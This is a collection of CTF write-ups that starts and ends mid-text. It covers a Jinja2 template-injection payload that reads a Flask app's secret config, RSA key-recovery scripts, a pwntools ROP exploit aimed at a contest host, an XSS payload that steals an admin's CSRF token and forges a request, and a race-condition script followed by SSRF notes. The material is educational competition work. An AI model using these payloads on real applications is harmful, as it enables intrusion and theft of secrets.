'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'os': <module 'os' from '/usr/local/lib/python3.7/os.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.7/socket.py'>, 'sys': <module 'sys' (built-in)>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python3.7/pkgutil.py'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python3.7/posixpath.py'>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python3.7/mimetypes.py'>, 'time': <built-in function time>, 'adler32': <built-in function adler32>, 'RLock': <function RLock at 0x7fe7513c49d8>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python3.7/lib-dynload/unicodedata.cpython-37m-x86_64-linux-gnu.so'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'update_wrapper': <function update_wrapper at 0x7fe7536f8ea0>, 'url_quote': <function url_quote at 0x7fe750aca488>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'Range': <class 'werkzeug.datastructures.Range'>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'wrap_file': <function wrap_file at 0x7fe750ace9d8>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'message_flashed': <flask.signals._FakeSignal object at 0x7fe74fc8cda0>, 'session': <NullSession {}>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7fe750a42fd0>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7fe74fc7f128>, 'current_app': <Flask 'app'>, 'request': <Request 'http://shrine.chal.ctf.westerns.tokyo/shrine/{{url_for.__globals__}}' [GET]>, 'string_types': (<class 'str'>,), 'text_type': <class 'str'>, 'PY2': False, '_missing': <object object at 0x7fe75907a7b0>, '_os_alt_seps': [], 'get_env': <function get_env at 0x7fe74fc89730>, 'get_debug_flag': <function get_debug_flag at 0x7fe74fc89840>, 'get_load_dotenv': <function get_load_dotenv at 0x7fe74fc89ae8>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7fe74fc89b70>, 'stream_with_context': <function stream_with_context at 0x7fe74fc89bf8>, 'make_response': <function make_response at 0x7fe74fc89c80>, 'url_for': <function url_for at 0x7fe74fc89d08>, 'get_template_attribute': <function get_template_attribute at 0x7fe74fc89d90>, 'flash': <function flash at 0x7fe74fc89e18>, 'get_flashed_messages': <function get_flashed_messages at 0x7fe74fc89ea0>, 'send_file': <function send_file at 0x7fe74fc89f28>, 'safe_join': <function safe_join at 0x7fe74fc9b048>, 'send_from_directory': <function send_from_directory at 0x7fe74fc9b0d0>, 'get_root_path': <function get_root_path at 0x7fe74fc9b158>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7fe74fc9b1e0>, 'find_package': <function find_package at 0x7fe74fc9b268>, 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'total_seconds': <function total_seconds at 0x7fe74fc9b2f0>, 'is_ip': <function is_ip at 0x7fe74fc9b9d8>}``` ↓ There is `current_app`!! --- ## 【method 2.Discover current_app in get_flashed_messages 】 `{{get_flashed_messages}}` ↓ `<function get_flashed_messages at 0x7fdc23b10ea0>` --- `{{get_flashed_messages.__globals__}}` ↓ ``` {'__name__': 'flask.helpers', '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: c 2010 by the Pallets team.\n :license: BSD, see LICENSE for more details.\n', '__package__': 'flask', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f3429e1c940>, '__spec__': ModuleSpec(name='flask.helpers', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f3429e1c940>, origin='/usr/local/lib/python3.7/site-packages/flask/helpers.py'), '__file__': '/usr/local/lib/python3.7/site-packages/flask/helpers.py', '__cached__': '/usr/local/lib/python3.7/site-packages/flask/__pycache__/helpers.cpython-37.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2018 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'os': <module 'os' from '/usr/local/lib/python3.7/os.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.7/socket.py'>, 'sys': <module 'sys' (built-in)>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python3.7/pkgutil.py'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python3.7/posixpath.py'>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python3.7/mimetypes.py'>, 'time': <built-in function time>, 'adler32': <built-in function adler32>, 'RLock': <function RLock at 0x7f342b6589d8>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python3.7/lib-dynload/unicodedata.cpython-37m-x86_64-linux-gnu.so'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'update_wrapper': <function update_wrapper at 0x7f342d98cea0>, 'url_quote': <function url_quote at 0x7f342ad5e488>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'Range': <class 'werkzeug.datastructures.Range'>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'wrap_file': <function wrap_file at 0x7f342ad629d8>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'message_flashed': <flask.signals._FakeSignal object at 0x7f3429e2ada0>, 'session': <NullSession {}>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7f3429e162b0>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7f3429e16400>, 'current_app': <Flask 'app'>, 'request': <Request 'http://shrine.chal.ctf.westerns.tokyo/shrine/{{get_flashed_messages.__globals__}}' [GET]>, 'string_types': (<class 'str'>,), 'text_type': <class 'str'>, 'PY2': False, '_missing': <object object at 0x7f343330e7b0>, '_os_alt_seps': [], 'get_env': <function get_env at 0x7f3429e20730>, 'get_debug_flag': <function get_debug_flag at 0x7f3429e20840>, 'get_load_dotenv': <function get_load_dotenv at 0x7f3429e20ae8>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7f3429e20b70>, 'stream_with_context': <function stream_with_context at 0x7f3429e20bf8>, 'make_response': <function make_response at 0x7f3429e20c80>, 'url_for': <function url_for at 0x7f3429e20d08>, 'get_template_attribute': <function get_template_attribute at 0x7f3429e20d90>, 'flash': <function flash at 0x7f3429e20e18>, 'get_flashed_messages': <function get_flashed_messages at 0x7f3429e20ea0>, 'send_file': <function send_file at 0x7f3429e20f28>, 'safe_join': <function safe_join at 0x7f3429e2b048>, 'send_from_directory': <function send_from_directory at 0x7f3429e2b0d0>, 'get_root_path': <function get_root_path at 0x7f3429e2b158>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7f3429e2b1e0>, 'find_package': <function find_package at 0x7f3429e2b268>, 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'total_seconds': <function total_seconds at 0x7f3429e2b2f0>, 'is_ip': <function is_ip at 0x7f3429e2b9d8>}``` ↓ There is `current_app`!! --- ## 【exploit】 ```GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}```or ```GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}``` ↓ `TWCTF{pray_f0r_sacred_jinja2}`
# Revolutional Secure Angou (crypto, 154p, 82 solved) In the challenge we get [encrypted flag](flag.encrypted), [public key](publickey.pem) and [challenge source code](generator.rb): ```rubyrequire 'openssl' e = 65537while true p = OpenSSL::BN.generate_prime(1024, false) q = OpenSSL::BN.new(e).mod_inverse(p) next unless q.prime? key = OpenSSL::PKey::RSA.new key.set_key(p.to_i * q.to_i, e, nil) File.write('publickey.pem', key.to_pem) File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag'))) breakend``` The flag is encrypted with classic RSA here and the only strange part is the way primes `p` and `q` are generated. We know that: `q = modinv(e, p)` Which we can rephrase to: `q*e = 1 mod p` This means that there exist such `k` for which: `q*e = 1 + k*p` If we now multiply this by `p` we get `q*p*e = p + k*p^2` And since `q*p = n` we get: `n*e = p + k*p^2` We could divide this by `k` and calculate a square root to get: `sqrt(n*e/k) = sqrt(p/k + p^2)` And if we extract `p^2` as a factor on the right side we get: `sqrt(n*e/k) = sqrt(p^2(1/p*k + 1))` It's obvious that `1/p*k` will be close to `0` and this `(1/p*k + 1)` is going to be very close to `1` and thus: `sqrt(n*e/k) = p * sqrt(1/p*k + 1) = p` This means we can calculate `p` directly if we only know `k`.We can verify this with a simple sanity check: ```pythondef sanity(): p = gmpy2.next_prime(2 ** 256) while True: p = gmpy2.next_prime(p) e = 65537 q = modinv(e, p) if gmpy2.is_prime(q): break n = p * q print(p) print(q) print(n) k = (q * e - 1) / p p_result = gmpy2.isqrt(n * e / k) print(k, 'p', p_result) assert p == p_result``` We don't know the exact value of `k`, but we know that `q` is smaller than `p` (since it's calculated `mod p`), and therefore since `q*e = 1+k*p` then `k < e`.This means we can easily brute-force `k` value because there are only 65537 values to check. ```pythonimport codecsimport gmpy2 from Crypto.PublicKey import RSA from crypto_commons.rsa.rsa_commons import modinv, rsa_printable def main(): with codecs.open("flag.encrypted", 'rb') as flag_file: ct = flag_file.read() with codecs.open("publickey.pem", 'r') as key_file: key = RSA.importKey(key_file.read()) print(key.e, key.n) print(key.n * key.e) for k in range(1, 65537): p = gmpy2.isqrt(key.n * key.e / k) if gmpy2.is_prime(p): q = key.n / p fi = (p - 1) * (q - 1) d = modinv(key.e, fi) pt = rsa_printable(ct, d, key.n) if "TWCTF" in pt: print(k, pt) break``` And after a moment we get: `TWCTF{9c10a83c122a9adfe6586f498655016d3267f195}` for `k = 54080`
```file1 = open("file1", "r").read()file2 = open("file2", "r").read()flag = "" if len(file1) == len(file2): for i in xrange(len(file1)): if file1[i] == file2[i]: flag = flag + file1[i] print("Flag : "+flag) # Flag : d4rk{lo0king_p4st_0ur_d1ff3renc3s}c0de```
# load* Open `/dev/stdin` to input ROP payload.* Open the right `/dev/pts/<right number>` tiwce -> fd : 0 , 1.* ORW `flag.txt`.```python#!/usr/bin/env pythonfrom pwn import * # TWCTF{pr0cf5_15_h1ghly_fl3x1bl3} context.arch = 'amd64' host , port = 'pwn1.chal.ctf.westerns.tokyo' , 34835y = remote( host , port ) name = 0x601040pop_rdi = 0x400a73pp_rsi = 0x400a71 p = '/dev/stdin'.ljust( 0x10 , '\x00' )p += '/dev/pts/1'.ljust( 0x10 , '\x00' )p += '/home/load/flag.txt'.ljust( 0x20 , '\x00' )y.sendlineafter( ':' , p ) y.sendlineafter( ':' , '0' )y.sendlineafter( ':' , '7777777' ) sleep( 0.1 ) start = 0x400720main = 0x400816plt_read = 0x4006e8plt_open = 0x400710plt_puts = 0x4006c0 p = flat( 'a' * 0x38, pop_rdi, name + 0x10, pp_rsi, 2, 0, plt_open, pop_rdi, name + 0x10, pp_rsi, 2, 0, plt_open, pop_rdi, name + 0x20, pp_rsi, 0, 0, plt_open, pop_rdi, 2, pp_rsi, name + 0x50, 0, plt_read, pop_rdi, name + 0x50, plt_puts) y.send( p ) y.interactive()```
# Magican – write-up by @terjanq*CTFZone 2018 Quals, 7/24/18* ## DescriptionWe are provided with a simple website ![website] and the only functionalities are `login/register`, `edit profile`, `support`. `Support` section allows us to send two types of messages to the admin: `Problems with Profile` and `Get premium account`. Each of them contains two fields: `Link to profile` and `Message`. ![support] `Edit profile` section allows us to edit our name. ![profile] ## Quick research - When we manually edit the `Link to profile` field to `http://ourwebsite` in the first option of `Support` section the admin will visit it and thanks to the `User-Agent header` we could see that the admin is using `Firefox 61.0`. - `HTTP response header` looks like:```< Content-Security-Policy: style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;< Content-Type: text/html; charset=UTF-8< Referrer-Policy: origin< Server: Apache/2.4.25 (Debian)< X-Content-Type-Options: nosniff< X-Frame-Options: ALLOW-FROM http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one< X-Powered-By: PHP/7.0.30< X-XSS-Protection: 1; mode=block```and means that * we cannot include any external `scripts` and `styles` * we cannot embed the website into `iframe` on external website (however Google will allow it due to the *incorrect header*) * any attempt of `reflected XSS` should be blocked by the browser * we can send information out as the `image` or `xhr requests` - Parameter `uuid` in the request `http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid=<uuid>` is vulnerable to the injections ( XSS/CSS ) and is limited to `36 characters`. The lack of `XSS Auditor` in Firefox allows us to inject `XSS` in there. ![xss] - With the help of dirbuster, I found the `manage.php` page which is the admin's tool for changing `user status` to `premium` ![manage] - `profile.php` and `manage.php` are protected by the `hidden token`, and tokens are associated with the current session - When we try to send `POST` data to the `profile.php` or `manage.php` with `Referrer` different than `web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one` the error `Wrong Referrer` will appear. However, I found out that it only has to start with it and therefore the referrer `web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one.example.com` will be accepted!. - When we try to change our status to `premium`, `Permission Denied!` appears. ## Solution Based on the findings it was obvious that our goal is to do a `CSRF` (Cross-Origin Request Forgery) attack, in order to change our status to `premium`, and the only missing piece is the `token`. It was a very tough task to steal and then send the token in `36 bytes`! With the help of [@gros] from my team we managed to create a payload `"><svg/onload=$.globalEval(name)` 32 bytes long where `name` is just a short form of `window.name` property. We assigned it by sending the admin to our webpage where we triggered `window.open('http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid="><svg/onload=$.globalEval(name)', <long payload>)` setting `window.name` to `<long payload>`. The complete [forms.html] looked like: ```HTML<script> window.open('http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid="><svg/onload=$.globalEval(name)', ` $.get("manage.php", function(data){ var x = /name="token" value="([^"]+)/.exec(data); $.post("manage.php", {user_uuid: "6c1e8255-ceed-428a-8b48-74e13db8142d", token: x[1], status: "premium"}); }); `); </script>```And after sending the admin to that page, on my profile I could find the flag: **ctfzone{0190af5705a38115cd6dee6e7d79e317}** [website]: <https://terjanq.github.io/Flag-Capture/CTFZone18/web/Magican/images/website.png>[xss]: <https://terjanq.github.io/Flag-Capture/CTFZone18/web/Magican/images/xss.png>[profile]: <https://terjanq.github.io/Flag-Capture/CTFZone18/web/Magican/images/profile.png>[support]: <https://terjanq.github.io/Flag-Capture/CTFZone18/web/Magican/images/support.png>[manage]: <https://terjanq.github.io/Flag-Capture/CTFZone18/web/Magican/images/manage.png>[forms.html]: <https://terjanq.github.io/Flag-Capture/CTFZone18/web/Magican/forms.html>[@gros]: <#>
# ConverRSAtion ## Challenge ```Alice and Bob were communicating over an insecure channel. Eve was listening on the whole conversation and this is what she saw: Alice: Should I send you the flag?Bob: Fine. But make sure you encrypt it.Alice: That's a given. But first let me send you an encrypted test message.Alice: test_ciphertext.txtBob: Well, everything works just as expected. Just send the flag already.Alice: Here you go.Alice: ciphertext.txtGiven the limited information, Eve went to Bob's website to learn some more. She found that for different public exponents, Bob uses the same message space. Moreover, Eve found an implementation of the RSA cryptosystem in Bob's GitHub repository. From all the information Eve could gather, can you help her retrieve the flag?```Note: I learned about the CTF only after it was over and thought this could be a fun challenge since only one team solved it during. It was quite interesting and I learned a lot. 11/10 would do again. ## The RSA implementation Let's start at the beginning. This is a classic case of RSA generation weakness and a solid lesson in why you shouldn't cut corners. Here is the implementation as given by the challenge: ```python# Utility Functions def to_bytes(n, length, endianess='big'): h = '%x' % n s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') return s if endianess == 'big' else s[::-1] def string_to_int(str_): return int(str_.encode('hex'), 16) def int_to_string(int_): return to_bytes(int_, int(math.ceil(int_.bit_length() / 8)), 'big') # RSA Cryptosystemclass PublicKey(object): def __init__(self, n, e): self.n = n self.e = e def encrypt(self, pt): return power_mod(pt, self.e, self.n) class PrivateKey(object): def __init__(self, d, pk): self.d = d self.pk = pk def decrypt(self, ct): return power_mod(ct.ct, self.d, self.pk.n) class Ciphertext(object): def __init__(self, pk, message): self.pk = pk self.ct = pk.encrypt(message) def generate_key_pair(K): p = get_prime(K/2) q = get_prime(K/2) n = p * q phi_n = (p - 1) * (q - 1) d = p e = inverse_mod(d, phi_n) public_key = PublicKey(n, e) private_key = PrivateKey(d, public_key) return (public_key, private_key) pk, sk = generate_key_pair(2048)print("Key-Pair Generated.") test_m = string_to_int('Test Message')test_c = Ciphertext(pk, m)```The fishy part happens during the ```generate_key_pair```. Normally, in RSA, you chose 2 distinct prime of size N/2, obtain n by multiplying p and q. You then chose or calculate e, the public exponent, such that it is coprime to the totient of phi = (p-1) * (q-1). Usually 65537 is used, avoiding the need for this step. Finally, d, the private key, is calculated as the modular inverse of e and phi. This implementation basically gets it all wrong. It starts by chosing a d that is equal to p (so a factor of n) and then uses that to generate e. A bit of modular math helps here: ```e === 1 mod (p-1)r^e = r mod p for any rr^e mod n = (r mod p) mod n```We end up seeing that ```r^e − r mod n ``` has p as a factor, which allows us to write: ```p=gcd(n,r^e − r mod n)``` Ok so we have a way to find p but we still need n. How do we find it? Simple, the challenge mentions "message space". It took me a while to see it and actually had to resort to crypto stackexchange: the message space is defined as [1 : n) or in other words, the upper bound of the message space is n-1. I.e. n = message space + 1. ## Solving At this point it becomes relatively easy: for each e we compute ```r^e − r mod n```(using the property ```(A + B) mod C = (A mod C + B mod C) mod C```), check the gcd of each value and n and check if we hit paydirt. Flag is then spit out. Note: ```parse``` and ```decrypt``` are simple helper functions that I implemented in python, can be found anywhere or just coded yourself. ```pythonfrom MillerRabion import *from Arithmetic import *from Crypto.PublicKey import RSAfrom rsa import *import mathfrom decryptRSA import * f = open('pubexps.txt','r')tester = int(open('testcipher.txt','r').read())li_e = [int(i.strip('\n').split(' ')[1]) for i in f.readlines()]m_sp = 6169889543272941774424894315899193178732206138045806404561237345082277449903413488080427481122467158099322125074758249773067516719313889615943787009408630706771500165645713897720456390653445179419106972079371353107023405870506244751759001029616243527130022520235737585145266511315625907957231671867714675258683951405681229612056743863942913725681105276156093968201289931664091828184824066626331996076989565135036048997459124667056226783842642930864290137996382588033963058016834196192729985299190638398158286884097980236515475334660992373008696017655787776803439438513681064555462452503812772006618974339123314045688cipher = int(open('cipher.txt','r').read())n = m_sp + 1test_m = string_to_int('Test Message') #r^e - r modn === (r^e mod n - r mod n) mod n def evaluateE(li,n): li2 = [] for i in li: li2.append((pow(2,i,n)-(2%n))%n) pot_p = [] for i in li2: if gcd(i,n) > 12234: pot_p.append(gcd(i,n)) if len(pot_p) == 1: p = pot_p[0] assert(miller_rabin(p)) print "found a factor!\n" return p else: try: for i in pot_p: assert(miller_rabin(i)) print "found several possible factors\n" except Exception as e: print "Potential error, check individually\n" return pot_p p = evaluateE(li_e,n)print parse(decrypt(cipher,p,n))```
* Guess the stack offset, modify the pointer on the stack which point to `stderr` file struct to point to its `_fileno`: `0x20 ->0x90`.* Use format string attack to overwrite `stderr->_fileno` 2 to 1.* Got the output, when guess right.* Leak libc , stack.* Build ROP.* One gadget.* [exploit.py](https://github.com/ssspeedgit00/CTF/tree/master/2018/TokyoWesterns/Neighbor_C)
# MMORPG 3000 (web, 2 solved, 470p) We failed to get the flag during the CTF, but only because we missed a funny `hardening` of postfix mail server at the very end of the task.It might still be useful to provide the description of the intermediate steps, because the challenge had quite a few. ## Analysis In the task we gain access to a webpage where we can battle other players and gain experience, and in the process also gain levels.There is also `donate` page where we can provide details for a `coupon`, and by using such coupon we can gain money.With money we can buy levels in the game.Classic pay-to-win scenario. We get a free coupon to start with, so we have some data for analysis.When we `use` a coupon, we get intermediate stage, with coupon details in the cookie, and the coupon picture is displayed on the page. ## Getting money We can't change the data of the coupon in cookie, since it's signed, but we can try to figure out how the codes are generated.Last part of the coupon picture link is some 16 byte hexstring.If we proceed to treat this as a hash and break it, we get a nice small integer back! If we look at link for coupon with id `1` for link http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/storage/img/coupon_c4ca4238a0b923820dcc509a6f75849b.png we get a nice: ![](coupon.png) It's worth 1337 coins, and so are next few low-id coupons. ## Getting high level Once we start buying levels it caps at 30 and the error says you can't go past that.But we guess that maybe there is some race condition here, and maybe it's possible to go above 30.With a new account we get some money and prepared 2 separate sessions and run a race script: ```pythonimport threading import requestsfrom queue import Queue max = 100threads = Queue()init_barrier = threading.Barrier(max * 2) def lvlup(cookie): threads.get() init_barrier.wait() url = "http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/donate/lvlup" r = requests.get(url, cookies={"session": cookie}) threads.task_done() def worker2(index): lvlup("eyJ1aWQiOjUyOH0.DjXY-g.qjbHf51nmM7SzUbzkS_Ghu3vzxk") def worker(index): lvlup("eyJ1aWQiOjUyOH0.DjXY2Q.76b4qhlA72cQ0CygdmkvhTJEdFI") def race(): for i in range(max): thread = threading.Thread(target=worker, args=[i]) thread.daemon = True thread.start() for i in range(max): thread = threading.Thread(target=worker2, args=[i]) thread.daemon = True thread.start() for i in range(max * 2): threads.put(i) threads.join() race()``` We basically fire 100 threads for each of 2 sessions and try to buy level with them.We managed to get lvl 31 on one account and 32 on another, which is above 30, so it worked fine.Once this is done a new link appears in the user profile page - upload your avatar.We can either upload a local file, which was broken for large part of the CTF, or provide a link and server downloads the picture via python urllib.The latter option means we actually have SSRF! ## SSRF It took us a while to figure out what we could do with SSRF here.We noticed there is some lousy check for passing `localhost` or `127.0.0.1`, but it could be easily bypassed using dns resolving to localhost or just using `127.0.0.2`.This poined us into the direction of requesting something from localhost, but we didn't know what, and only `http` and `https` scheme was supported.To make matters worse we could not see any 